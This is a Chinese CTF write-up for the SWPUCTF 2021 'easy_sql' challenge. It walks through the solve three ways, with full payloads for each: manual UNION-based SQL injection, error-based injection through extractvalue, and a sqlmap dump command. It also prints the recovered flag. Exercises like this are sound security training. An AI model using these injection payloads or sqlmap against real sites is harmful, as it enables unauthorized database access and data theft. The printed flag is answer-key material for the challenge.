[SWPUCTF 2021 新生赛]easy_sql - 联合注入||报错注入||sqlmap

这题可以直接参考:[NISACTF 2022]join-us - 报错注入&无列名注入

网站标题提示,参数是wllm
?wllm=1

得到:Your Login name:xxx Your Password:yyy

解法一:手注

1、先尝试普通注入?wllm=-1'union select 1,2,3--+

得到:Your Login name:2 Your Password:3

这里注意 ,wllm=-1才会回显占位符,否则还是xxx yyy

2、?wllm=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()),3--+

得到:Your Login name:test_tb,users

3、?wllm=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'test_tb'),3--+

得到:Your Login name:id,flag

4、?wllm=-1'union select 1,(select group_concat(flag) from test_tb),3--+

得到:Your Login name:NSSCTF{82bf2238-f61d-41f1-b103-848e28154cee}

如果能手注,还是非常舒服的!

解法二:报错注入

1、?wllm=1'-a()--+

得到:FUNCTION test_db.a does not exist

表为:test_db

2、?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema = 'test_db'),1,100),0x7e))--+

得到:XPATH syntax error: '~ test_tb,users ~'

3、查test_tb:?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name = 'test_tb'),1,100),0x7e))--+

得到:XPATH syntax error: '~ id,flag ~'

4、查test_tb.flag:?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(flag) from test_tb),1,100),0x7e))--+

得到:XPATH syntax error: '~NSSCTF{82bf2238-f61d-41f1-b103-'

5、查test_tb.flag:?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(flag) from test_tb),20,100),0x7e))--+

XPATH syntax error: '~ d-41f1-b103-848e28154cee} ~'

最终:flag=NSSCTF{82bf2238-f61d-41f1-b103-848e28154cee}

解法三:sqlmap

python sqlmap.py -u "http://xxxxxxxxxxxxx.cn:28930/?wllm=1" --batch --dump -T test_tb

sqlmap每次都要跑很久,个人喜欢手注

相关推荐
2301_803875614 小时前
PHP 中处理会话数组时的类型错误解析与修复指南
jvm·数据库·python
m0_743623924 小时前
c++如何批量修改文件后缀名_std--filesystem--replace_extension【实战】
jvm·数据库·python
2501_914245934 小时前
CSS如何处理CSS变量作用域冲突_利用特定类名重写变量值
jvm·数据库·python
maqr_1106 小时前
MySQL数据库迁移到云端如何保障安全_数据加密与SSL连接配置
jvm·数据库·python
u0109147606 小时前
MySQL如何限制触发器递归调用的深度_防止触发器死循环方法
jvm·数据库·python
weixin_381288186 小时前
MySQL中如何使用HEX函数转换十六进制_MySQL进制转换函数
jvm·数据库·python
KKKlucifer6 小时前
国内堡垒机如何打通云网运维安全一体化
运维·安全
Deitymoon6 小时前
嵌入式数据库——SQLite基础
数据库·sqlite
YMatrix 官方技术社区6 小时前
美国·硅谷|YMatrix 即将亮相 Postgres Conference 2026,前瞻 AI 时代的数据基座
数据库·数据仓库·postgresql·时序数据库·ymatrix
bKYP953cL6 小时前
构建自己的AI编程助手:基于RAG的上下文感知实现方案
数据库·人工智能·ai编程